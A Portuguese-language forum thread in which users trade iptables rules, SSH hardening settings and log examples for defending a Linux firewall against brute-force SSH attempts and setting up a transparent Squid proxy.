Agora me respondam uma coisa, essa regra estava liberando o acesso creio eu por ser genérica. Como posso fazer com que essa regra seja encaixada sem afetar as outras. Já me falaram para criar outra CHAIN mas não consegui entender bem.

----------


## GrayFox

Como eu nao sou adepto ao linux e sim ao bsd, deixa eu ver se consigo entender..



iptables -A INPUT -p tcp --tcp-flags SYN,ACK,FIN,RST SYN -m limit --limit 1/s -j ACCEPT 

o iptables aceita conexoes entrantes com as flags SYN, ack, fin, rst, com o limite de 1 pacote por segundo....

acho q essa regra deixaria qualquer porta aberta nao acha?
se estiver errado, coloquem a resolucao pra todos please..
 :Smile: 
 :Frown: 6)

----------


## edmafer

-------------------------------

Apaguei tudo, pois o desatento aqui pegou o bonde andando, e ainda quis ir na janela.

Não tinha nada a ver com o assunto mais.

----------


## maverick_cba

Olha pessoal, fiz os procedimentos conforme descrito no meu posta anterior e agora tá tudo na santa paz.

O iptables está gerando os logs e as tentativas estão sendo barradas.

Agora um fato importante, fui consultar outros amigos que gerenciam firewalls e isso está acontecendo tb com todos eles, portanto acho que está sendo um tipo de ataque geral por brute force num range de ips, pois está afetando vários servidores.

Agora um pergunta, tem como denucniar isso para que alguem possa agir? Onde posso fazer isso?

----------


## edmafer

Log de tentativa eu geralmente tenho uns 10 por dia, vindo de vários cantos do mundo.

Aug 25 18:55:27 boss kernel: SSH Tentativa externo IN=eth1 OUT= MAC=00:0a:e6:b1:97:86:00:04:16:02:0f:9d:08:00 SRC=67.167.12.227 DST=192.168.1.3 LEN=60 TOS=0x00 PREC=0x20 TTL=46 ID=28583 DF PROTO=TCP SPT=2577 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0 

Note que os cara geralmente tentam na 22 (não vi nenhum log de alguem tentando na minha porta SSH).

O meu iptables está da seguinte forma:

Como padrão eu bloquiei tudo



```
#Bloqueando toda a entrada
iptables -t filter -P INPUT DROP
 
#Bloqueando o redirecionamento
iptables -t filter -P FORWARD DROP
 
#A saida por padrão será liberada
iptables -t filter -P OUTPUT ACCEPT
 
#Bloquando POSTROUTING
iptables -t nat -P POSTROUTING DROP
 
#Bloqueando PREROUTING
iptables -t nat -P PREROUTING DROP
```

 
Agora para poder liberar conexões eu preciso liberar tanto o INPUT, FORWARD e o PREROUTING. Se não ele não deixa acessar.

Um exemplo interessante é que eu defini quais seriam os DNS que seriam acessados pela minha rede, permitindo acesso somente a eles.
E a volta, somente se for deles.

Não sei se é possível no seu caso, mas no meu eu só permito acesso a um servidor de e-mail (o da empresa, que é externo).

SSH eu mudei de porta, dei permissão a somente um usuário, e este não tem permissão pra nada (nem diretório ele tem).

Também editei uma configuração no SSH para ele limitar as conexões e começar a negar a partir de um tanto, por ex:


```
MaxStartups 5:50:10
```

 Ou seja ele aceita no máximo 10 conexões simultanes, negando 50% quando acima de 5.

E log por todo firewall, se o cara espirrar na frente do computador, eu to sabendo que ele tá tentando passar vírus.

A sim, minhas regras são restritivas, tanto pra fora, quanto pra dentro da rede.

Para mim todo usuário é mau.

----------


## maverick_cba

Ae edmafer, gostei da forma com que você implementa sua segurança e já vou até adotar algumas de suas dicas.

Agora me responda uma coisa: quais regras são necessárias para eu colocar a chain PREROUTING como DROP e liberar acesso web (http) sendo que uso proxy transparente. Quando fui fazer esse firewall eu não obtive sucesso usando politica DROP para a chain PREROUTING.

Se puderem pelo menos me explicar quais serviços passam pelas chains PREROUTING já me ajudaria, pois esse é o maior problema.

Alguem pode me dar um empurrão? Tô querendo fazer um firewall parrudo!!

----------


## edmafer

Maverick, todas (se eu estiver errado por favor alguém me corrija).
Quando você definir suas regras padrões como DROP (veja no exemplo do post anterior), você precisará liberar para tudo o que for necessário (mas somente o necessário).

Tanto que meus log's são configurados nas CHAINS PREROUTING, já que se passa por elas antes de qualquer outra regra. Mas como o todo admim é desconfiado, eu bloqueio as outras opções também como INPUT e FORWARD (se for o caso).

Um exemplo para você liberar um acesso fazendo um NAT normal seria o seguinte:

Esta é uma regra geral, mas para todos os usuários eu limito o pop e o smtp a um único servidor de e-mail.

Para isto é só adicionar um destino *-d ip_server_mail*.



```
ip=sua_faixa_de_ip
 
iptables -A FORWARD -s $ip -d 0.0.0.0/0 -p tcp -m multiport --dport 25,80,110 -j ACCEPT
iptables -A FORWARD -d $ip -p tcp -m multiport --sport 25,110 -j ACCEPT
iptables -t nat -A PREROUTING -s $ip -d 0.0.0.0/0 -p tcp -m multiport --dport 25,80,110 -j ACCEPT
iptables -t nat -A PREROUTING -d $ip -p tcp -m multiport --sport 25,110 -j ACCEPT
iptables -t nat -A POSTROUTING -s $ip -d 0.0.0.0/0 -p tcp -m multiport --dport 25,80,110 -j MASQUERADE
```

 
Você pode notar que não liberei consulta ao DNS, isto por que meu servidor de DNS é local, então eu o libero em outra regra:

O que é uma boa dica de segurança, já que ataques podem ser feitos pelo DNS.



```
#liberando a rede interna para consultar DNS no servidor
iptables -A INPUT -s $ip -i $redein -d $ipserver -p udp --dport 53 -j ACCEPT
iptables -A FORWARD -s $ip -d $ipserver -p udp --dport 53 -j ACCEPT
iptables -t nat -A PREROUTING -s $ip -d $ipserver -p udp --dport 53 -j ACCEPT
```

 
E um exemplo de log, seria o meu de SSH:



```
iptables -t nat -A PREROUTING -i $IFACE_EXT -p tcp --dport 22 -m state --state ! ESTABLISHED,RELATED -m limit --limit 5/s -j LOG --log-prefix "SSH Tentativa externo"
```

 
Eu gravo log tanto para os acessos externos quanto internos.

Há isto é importante, não permita acesso a sua máquina pela parte externa na porta do SQUID, não é só por questão de segurança, mas você não ia querer um monte de usuário pendurado no teu proxy, para tentar escapar das regras de uma empresa, ou faculdade.

E uma dica bastante batida:
http://focalinux.cipsga.org.br/guia/...w-iptables.htm

Qualquer dúvida posta ai, que tentamos te ajudar.

----------


## edmafer

Desculpe, não me ative ao proxy transparente. Mas vale o exemplo do MASQUERADE.

Para proxy transparente é simples: 

(agora vou ser experto eu vou mandar sem o code)


Abaixo, estou liberando o acesso da rede interna ao meu apache, mas tudo que for na porta 80 com destino diferente do servidor...
*
#Liberando para acesso interno
iptables -A INPUT -s $ip -i $redein -d $ipserver -p tcp --dport 80 -j ACCEPT

#Liberando o roteamento para esta porta
iptables -A FORWARD -s $ip -i $redein -d $ipserver -p tcp --dport 80 -j ACCEPT

#Liberando o PREROUTING para esta porta
iptables -t nat -A PREROUTING -s $ip -i $redein -d $ipserver -p tcp --dport 80 -j ACCEPT
*

... eu redireciono para a porta do squid:

*
iptables -t nat -A PREROUTING -s $ip -i $redein -d ! $ipserver -p tcp --dport 80 -j REDIRECT --to-port 3128
*

Qualquer dúvida avise.

[]'s

----------


## maverick_cba

Cara, valew mesmo. Obrigado a todos.

Vou dar uma lida no Guia avançado e ver se consigo extrair formas mais avançadas de bloqueio. Se o resultado desse firewall ficar bom, eu prometo postar o resultado aqui.

Obrigado mais uma vez.

----------

